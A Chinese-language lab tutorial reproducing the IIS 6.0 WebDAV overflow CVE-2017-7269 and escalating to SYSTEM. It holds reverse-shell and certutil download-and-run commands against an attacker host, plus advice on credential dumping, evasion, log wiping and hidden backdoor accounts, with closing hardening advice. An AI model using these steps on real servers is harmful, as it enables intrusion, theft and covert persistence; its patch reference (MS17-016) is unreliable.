1. 项目概述与核心价值CVE-2017-7269这个编号对于长期从事渗透测试和红队评估的朋友来说绝对是一个绕不开的经典案例。它不是一个简单的脚本小子工具而是一个深刻揭示了早期Windows服务器架构与协议交互缺陷的“活化石”。这个漏洞影响的是微软IIS 6.0 Web服务器一个在Windows Server 2003时代被广泛部署的组件。尽管目标系统在今天看来已经非常古老但复现和研究这个漏洞的价值远不止于“攻破一台老服务器”。我之所以花时间重新梳理这个漏洞是因为它提供了一个近乎完美的学习样本。它涉及WebDAV协议扩展、IIS的ISAPI筛选器工作机制、缓冲区溢出原理以及从远程代码执行到系统提权的完整攻击链。理解它你就能理解一类攻击的底层逻辑。很多新手拿到一个EXP漏洞利用程序只会照葫芦画瓢却不知道背后的“葫芦”是怎么画出来的。这次我们就从原理开始一步步拆解直到你不仅能复现还能清晰地解释每一个步骤为什么有效以及在实际的授权渗透测试中如何谨慎、合规地利用这类发现。简单来说这个漏洞允许攻击者通过向开启了WebDAV扩展的IIS 6.0服务器发送一个精心构造的HTTP请求触发缓冲区溢出从而在服务器上执行任意代码。更关键的是由于IIS工作进程w3wp.exe默认以NETWORK SERVICE或IIS_WPG组账户运行成功利用后我们获得的往往是一个中等权限的shell。因此“提权”成为利用后不可或缺的一环这也是我们将“iis6提权渗透实践”作为重点的原因。整个流程从信息收集到漏洞验证再到权限提升和痕迹清理是一次完整的渗透测试微型演练。2. 漏洞原理深度解析从协议到溢出要真正利用一个漏洞死记硬背EXP的用法是远远不够的。你必须理解它的“病根”在哪里。CVE-2017-7269的根源在于IIS 6.0对WebDAV协议请求中PROPFIND方法的处理存在缺陷。2.1 WebDAV与ISAPI筛选器漏洞的舞台首先我们需要了解两个关键角色WebDAV和ISAPI。WebDAVWeb-based Distributed Authoring and Versioning是一种基于HTTP/1.1的协议扩展允许用户像操作本地文件一样远程管理服务器上的文件如创建、移动、复制。IIS通过一个名为httpext.dll的ISAPIInternet Server Application Programming Interface筛选器来实现对WebDAV请求的处理。ISAPI筛选器可以理解为IIS的“插件”它挂载在请求处理管道中对特定的HTTP请求进行预处理或后处理。当IIS收到一个HTTP请求时它会根据请求的特征如方法、URL决定由哪个模块来处理。对于WebDAV请求如PROPFIND、PROPPATCH、MKCOL等就会交由httpext.dll这个筛选器来处理。漏洞就出现在httpext.dll处理PROPFIND请求头的代码中。攻击者可以发送一个超长的、在If头字段中包含了大量特定Unicode字符的PROPFIND请求。2.2 缓冲区溢出触发机制问题的核心是一个经典的栈缓冲区溢出。在httpext.dll的代码中存在一个用于处理PROPFIND请求中If:头的函数。这个函数在将Unicode字符串转换为ASCII或进行某种字符串拷贝操作时没有对目标缓冲区的大小进行有效的边界检查。具体来说攻击者构造的恶意请求中If:头的内容长度远远超过了函数内部预留的栈缓冲区大小。当函数执行字符串拷贝操作如wcscpy或类似的不安全函数时超出的数据就会覆盖栈帧中相邻的内存区域包括函数返回地址EIP。注意这里涉及到的技术细节比较底层。简单类比就像你有一个只能装10杯水的水壶栈缓冲区但你却强行往里倒了100杯水超长的If:头数据。多出来的90杯水不仅会灌满水壶还会淹掉旁边的桌子、椅子栈上的其他数据如保存的寄存器值、局部变量最关键的是会把水壶边上写着“用完水壶后下一步该做什么”的说明书函数返回地址EIP给泡烂、改写成别的内容。通过精心构造这“多出来的水”即shellcode和覆盖的返回地址攻击者就能让程序在函数执行完毕后不是返回到正常的调用者而是跳转到我们指定的恶意代码shellcode去执行。这段shellcode通常被放置在请求数据包中随着溢出数据一起被送入进程内存。2.3 影响范围与利用条件理解原理后我们就能清晰地界定漏洞的利用边界操作系统与组件仅影响安装了IIS 6.0的Windows Server 2003系统。Windows Server 2008及更高版本的IIS不受影响。服务配置必须启用了WebDAV扩展。在IIS管理器中对应网站或服务器的“Web服务扩展”里“WebDAV”必须处于“允许”状态。网络可达攻击者需要能够访问到目标服务器的80端口或IIS监听的其它HTTP端口。这个漏洞的经典之处在于它不依赖于任何特定的网站应用代码而是攻击IIS服务器组件本身只要WebDAV开启理论上该服务器上的所有网站都可能成为入口点。3. 实验环境搭建与前期准备在动手复现之前一个隔离、安全的实验环境是必须的。我强烈反对在任何未经授权的真实系统上进行测试。3.1 靶机环境配置我们需要一台Windows Server 2003 R2虚拟机作为靶机。系统安装从合法渠道获取Windows Server 2003 R2 ISO镜像在VMware或VirtualBox中安装。安装时可以选择Standard Edition。安装IIS 6.0系统安装完成后通过“控制面板”-“添加或删除程序”-“添加/删除Windows组件”勾选“应用程序服务器”点击“详细信息”确保“Internet信息服务(IIS)”被选中。在安装过程中系统可能会提示插入安装光盘。启用WebDAV安装好IIS后打开“Internet信息服务(IIS)管理器”。展开左侧树形菜单右键点击“Web服务扩展”。在右侧列表中找到“WebDAV”选中并点击“允许”。这是漏洞触发的关键条件。关闭防火墙为了实验方便暂时关闭Windows防火墙或者设置规则允许80端口入站。在实际测试中这一步需要根据目标环境灵活调整。创建测试网站在IIS管理器中新建一个网站路径指向一个简单目录即可。确保该网站可以正常访问例如放一个test.txt文件。3.2 攻击机环境与工具准备攻击机通常使用Kali Linux或任何你熟悉的渗透测试Linux发行版。EXP获取最常用的公开EXP是zcgonvh编写的版本。你可以从GitHub获取https://github.com/zcgonvh/cve-2017-7269。使用git clone命令下载到本地。git clone https://github.com/zcgonvh/cve-2017-7269.git cd cve-2017-7269这个仓库里通常包含一个Python脚本如exploit.py和一个用于提权的Windows可执行文件如pr.exe。依赖安装确保Python环境正常。该EXP通常依赖于requests库使用pip install requests安装即可。网络连通性确保攻击机和靶机在同一网络如均设置为NAT或桥接模式并且可以从攻击机ping通靶机的IP地址。3.3 信息收集与漏洞初步探测在发动攻击前细致的侦察能提高成功率。端口扫描使用nmap扫描靶机确认80端口开放且服务为Microsoft IIS httpd 6.0。nmap -sV -p 80 靶机IPWebDAV探测使用davtest或cadaver等工具测试WebDAV是否真正启用并支持写操作。也可以手动发送一个OPTIONS请求来查看服务器支持的HTTP方法。curl -v -X OPTIONS http://靶机IP/在返回的Allow或Public头中如果看到PROPFIND、PROPPATCH、MKCOL等方法则WebDAV很可能已启用。目录扫描使用dirb或gobuster扫描网站目录寻找可能的上传点或敏感信息为后续的提权或持久化做准备。实操心得在虚拟机环境中我经常遇到即使开启了WebDAV某些EXP也失败的情况。后来发现除了在“Web服务扩展”中允许有时还需要在具体网站的“属性”-“HTTP头”-“MIME类型”中确保相关类型已添加但这并非绝对。最稳妥的验证方式是发送一个简单的PROPFIND请求看服务器是否返回XML格式的响应而不是404或405错误。4. 漏洞利用过程详细拆解现在我们进入核心的利用环节。我将以zcgonvh的EXP为例分步解析其工作流程。4.1 EXP代码结构与原理分析打开exploit.py我们不要急着运行先看看它做了什么。一个典型的EXP结构包含以下部分参数解析接收目标IP、端口、反弹shell的IP和端口。Shellcode生成动态生成一段反向连接reverse shell的shellcode。这段代码是二进制的机器指令用于在目标服务器上创建一个连接到我们攻击机的TCP会话。恶意请求构造这是精华所在。EXP会构建一个特殊的HTTPPROPFIND请求。这个请求的If:头会被填充为精心构造的超长数据。这个长数据由以下几部分组成填充物Padding/NOP Sled一大串无操作指令如\x90用于提高跳转命中率。当EIP跳入这片区域时处理器会“滑行”直到遇到有效指令。Shellcode就是上一步生成的反向连接代码。返回地址覆盖用于覆盖栈上原有的函数返回地址。这个地址需要指向内存中某个稳定且可预测的位置例如jmp esp等指令的地址。EXP作者通常会在代码中硬编码几个在httpext.dll或系统其他核心DLL中常见的指令地址。由于Windows Server 2003不打补丁的情况下DLL加载基址是固定的除非启用ASLR但Server 2003默认没有所以这个地址是可靠的。发送请求将构造好的恶意HTTP请求发送到目标服务器的80端口。监听与交互在指定的端口上启动一个Netcat监听器等待靶机上的shellcode执行成功并建立反向连接。4.2 分步执行与利用假设靶机IP是192.168.1.100攻击机IP是192.168.1.50。在攻击机上启动监听首先我们需要一个接收反弹shell的监听器。nc -lvnp 4444这条命令会在本地的4444端口启动一个监听。运行EXP脚本在另一个终端窗口运行下载的Python EXP。python exploit.py -t 192.168.1.100 -p 80 -r 192.168.1.50 -rp 4444-t: 目标IP-p: 目标端口默认80-r: 反弹shell的IP攻击机IP-rp: 反弹shell的端口需与Netcat监听端口一致观察EXP输出如果运行成功EXP会显示发送请求并可能提示成功。此时切回Netcat的窗口如果看到出现了命令行提示符如C:\WINDOWS\system32恭喜你漏洞利用成功你已经获得了目标系统上一个NETWORK SERVICE或IIS_WPG权限的shell。4.3 利用过程中的关键点与变种Shellcode的兼容性公开的EXP中的shellcode通常是反向TCP连接。如果目标服务器出网受限你可能需要定制shellcode比如改为绑定shellbind shell在目标机器上开一个端口等你连接或者使用其他协议。返回地址的可靠性不同的Windows Server 2003系统语言版本、已安装的补丁可能导致DLL的基址或内部指令地址有细微差别。公开EXP中提供的地址可能失效。这时就需要进行调试寻找新的“跳板”指令地址。这属于高级利用范畴需要用到调试器如Immunity Debugger, WinDbg和一定的汇编知识。HTTP请求的细微调整有些EXP可能需要对请求的路径、Host头等进行微调才能在某些特定的IIS配置下触发。注意事项在实际授权渗透中使用公开EXP需要极其小心。第一公开EXP可能已被安全设备标记流量特征明显极易被拦截。第二它可能不稳定导致目标IIS服务崩溃w3wp.exe进程重启产生异常日志。在真正的红队行动中通常会根据目标环境定制化开发或修改EXP以规避检测。5. 权限提升从IIS Worker到SYSTEM成功利用漏洞获得的shell其权限是运行IIS工作进程的账户通常是NETWORK SERVICE。这个账户权限有限无法进行很多关键操作如安装软件、修改系统配置、转储所有用户哈希等。因此提权Privilege Escalation是必经之路。5.1 提权工具pr.exe的原理与使用在zcgonvh的仓库中常附带一个名为pr.exe或类似名称的Windows提权工具。它的原理通常是利用Windows内核或高权限服务中的漏洞将当前进程的权限提升至SYSTEM。使用步骤上传提权工具在获得的反弹shell中你需要将pr.exe上传到目标服务器。由于你有当前用户的写权限可以尝试上传到可写目录如C:\WINDOWS\Temp\或网站根目录下的某个文件夹。在攻击机上用Python启动一个简单的HTTP服务python -m http.server 8080在靶机的shell中使用certutilWindows自带下载文件certutil -urlcache -split -f http://192.168.1.50:8080/pr.exe C:\WINDOWS\Temp\pr.exe执行提权运行上传的pr.exe。C:\WINDOWS\Temp\pr.exe验证权限执行成功后通常会生成一个新的具有SYSTEM权限的shell可能是另一个反向连接或者直接在当前shell中提升。你可以使用whoami命令验证whoami如果返回nt authority\system则提权成功。5.2 备选提权方案pr.exe可能因为系统环境、补丁状况而失效。因此掌握多种提权方法至关重要。本地漏洞提权在靶机shell中运行系统信息收集命令寻找未修复的本地提权漏洞。systeminfo查看系统版本、已安装的补丁。将补丁列表与公开的本地提权漏洞如MS16-032, MS16-135, CVE-2020-0787等进行比对寻找缺失的补丁。然后寻找对应的提权EXP进行利用。Kali Linux中集成了windows-exploit-suggester等工具可以辅助分析。服务配置不当提权检查可写服务路径使用accesschk.exeSysinternals工具需上传或sc qc命令检查服务寻找二进制文件路径权限配置不当NETWORK SERVICE或Authenticated Users有修改权限的服务。不安全的服务权限检查服务本身的权限看当前用户是否有权限修改服务配置或重启服务。AlwaysInstallElevated检查注册表项HKEY_CURRENT_USER\SOFTWARE\Policies\Microsoft\Windows\Installer和HKEY_LOCAL_MACHINE\...\Installer下的AlwaysInstallElevated值是否为1。如果均为1则任何MSI安装包都将以SYSTEM权限运行。计划任务查看计划任务寻找以SYSTEM运行但脚本或输出目录可写的任务。5.3 提权后的操作获得SYSTEM权限后你可以进行更深层次的渗透转储密码哈希使用mimikatz或直接读取C:\Windows\System32\config\SAM文件需要卷影拷贝技术来获取本地所有用户的NTLM哈希。抓取明文密码如果系统内存中驻留有登录会话可以使用mimikatz的sekurlsa::logonpasswords命令尝试抓取明文密码。权限维持创建隐藏的后门账户、安装Webshell、部署远控木马、创建计划任务或服务等。横向移动利用获取的本地管理员哈希或密码尝试攻击内网中的其他机器Pass The Hash, Pass The Ticket等。实操心得在Windows Server 2003上pr.exe这类工具成功率相对较高因为系统老旧补丁不全。但务必注意提权操作风险很高极易触发杀毒软件或引起系统不稳定。在实战中我通常会先尝试最温和的方法比如检查计划任务和服务配置。上传任何工具前最好先对工具进行免杀处理或者使用系统自带的、可信的二进制文件如msiexec,bitsadmin,certutil来下载后续载荷避免直接上传可执行文件。6. 渗透实践中的关键技巧与深度利用一次成功的渗透远不止于运行两个脚本。下面分享一些在实践CVE-2017-7269及后续行动中的关键技巧。6.1 绕过基础防御与隐蔽通信流量混淆原始的EXP流量特征明显。可以修改Python脚本对HTTP请求体进行编码如Base64、Hex、添加随机冗余头部、分割请求包等以绕过基础的WAF或IDS规则。Shellcode免杀生成shellcode时可以使用msfvenom的编码器如shikata_ga_nai进行多次编码并自定义模板。更高级的做法是使用C#、PowerShell等反射加载的方式或者利用合法的Windows二进制文件如regsvr32,rundll32来执行载荷。使用加密通道反弹shell使用明文TCP容易被发现。可以考虑使用msfvenom生成基于HTTPS、DNS隧道的shellcode或者利用Metasploit的meterpreter会话它提供加密通信和丰富的后期利用模块。6.2 信息收集与定位关键资产获得shell后不要急于提权或乱翻。系统性地收集信息网络信息ipconfig /all,route print,arp -a了解服务器在网络中的位置和邻居。用户与组net user,net localgroup administrators了解当前用户、本地管理员。进程与服务tasklist,net start查看运行的服务寻找可能关联数据库、中间件等关键资产的进程。文件系统寻找配置文件web.config,*.xml,*.ini、日志文件、备份文件其中可能包含数据库连接字符串、其他系统密码等敏感信息。数据库连接如果服务器运行着Web应用尝试在网站目录或注册表中寻找数据库连接信息直接连接数据库可能获取大量核心数据。6.3 清理痕迹与持久化在授权测试中清理痕迹是职业操守在非法攻击中这是避免被发现。但在学习环境中了解这些有助于防御。日志清理IIS日志通常位于C:\WINDOWS\system32\LogFiles\W3SVC*目录下。需要找到对应网站的日志文件删除或修改包含你攻击IP和异常请求如超长PROPFIND的记录。Windows事件日志eventvwr.msc中的安全日志和系统日志也可能记录进程创建、账户登录等事件清理难度较大。文件清理删除上传的提权工具、生成的临时文件等。持久化手法Webshell在网站目录下放置一个隐蔽的Webshell作为备用入口。后门账户创建一个隐藏的、属于管理员组的账户。计划任务创建计划任务定期连接C2服务器或执行恶意脚本。服务后门将恶意程序注册为系统服务并设置为开机自启。注意事项所有持久化操作都会在系统中留下更多痕迹。在真实的红队评估中会根据行动目标是短期突破获取情报还是长期潜伏来权衡使用何种持久化方法。过于复杂的持久化反而容易在蓝队的日常排查中暴露。7. 漏洞修复与安全加固建议作为安全从业者知其攻更要知其防。对于仍可能存在的Windows Server 2003 IIS 6.0环境加固措施如下根本解决升级或替换将操作系统升级到受支持的版本如Windows Server 2019/2022并使用更新版本的IIS。这是最彻底、最推荐的做法。如果无法升级考虑将应用迁移到Linux平台或其他现代Web服务器。临时缓解禁用WebDAV如果业务完全不需要WebDAV功能在IIS管理器的“Web服务扩展”中直接禁用“WebDAV”。这是最有效的临时缓解措施。安装官方补丁微软针对此漏洞发布了安全补丁MS17-016。请确保系统已安装所有安全更新。但由于Server 2003已停止扩展支持获取所有补丁可能困难。网络层防护WAFWeb应用防火墙部署WAF并配置规则拦截异常的PROPFIND请求特别是包含超长If:头的请求。IDS/IPS在网络边界部署入侵检测/防御系统更新规则库以识别和阻断CVE-2017-7269的攻击流量。最小权限原则运行IIS工作进程的账户应用程序池标识应使用最低必要的权限。避免使用NETWORK SERVICE可以创建专用的低权限账户。严格限制该账户对文件系统和注册表的访问权限。定期安全评估对老旧系统进行定期的漏洞扫描和渗透测试主动发现潜在风险。复现CVE-2017-7269的过程是一次对经典缓冲区溢出漏洞、Web服务器安全、Windows提权技术和完整渗透流程的集中演练。它像一本老旧的教科书虽然内容针对的是过时的系统但其中蕴含的原理、思路和方法论却历久弥新。理解它如何被利用你就能更好地理解现代防护技术如DEP, ASLR, CFG的价值掌握从外网突破到内网提权的完整链条你就能更系统地进行安全防御规划。在安全领域攻击技法的演进和防御体系的加固永远是一场动态的博弈而研究这些经典案例正是我们在这场博弈中保持敏锐和深度的基石。